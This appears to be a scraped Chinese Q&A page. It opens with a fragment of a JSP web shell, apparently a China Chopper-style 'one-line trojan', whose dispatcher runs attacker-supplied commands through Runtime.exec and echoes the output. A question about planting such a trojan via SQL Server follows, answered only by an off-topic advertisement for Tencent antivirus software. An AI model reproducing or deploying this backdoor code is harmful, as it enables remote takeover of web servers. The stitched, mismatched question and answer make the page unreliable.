if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());%>
⑩ sql server 能插入一句話木馬么
重啟電腦按F8進入安全模式下,使用騰訊電腦管家殺毒軟體,全面的查殺病毒程序,總計四大反病毒引擎:騰訊電腦管家雲引擎、金山雲查殺、小紅傘本地查殺引擎、趨勢本地引擎,也就是說騰訊電腦管家電腦管家除了自家的雲查殺引擎,還應用了國外兩大品牌的本地查殺引擎,有力的保障了對病毒的精準查殺!!可以徹底的清理干凈病毒木馬程序!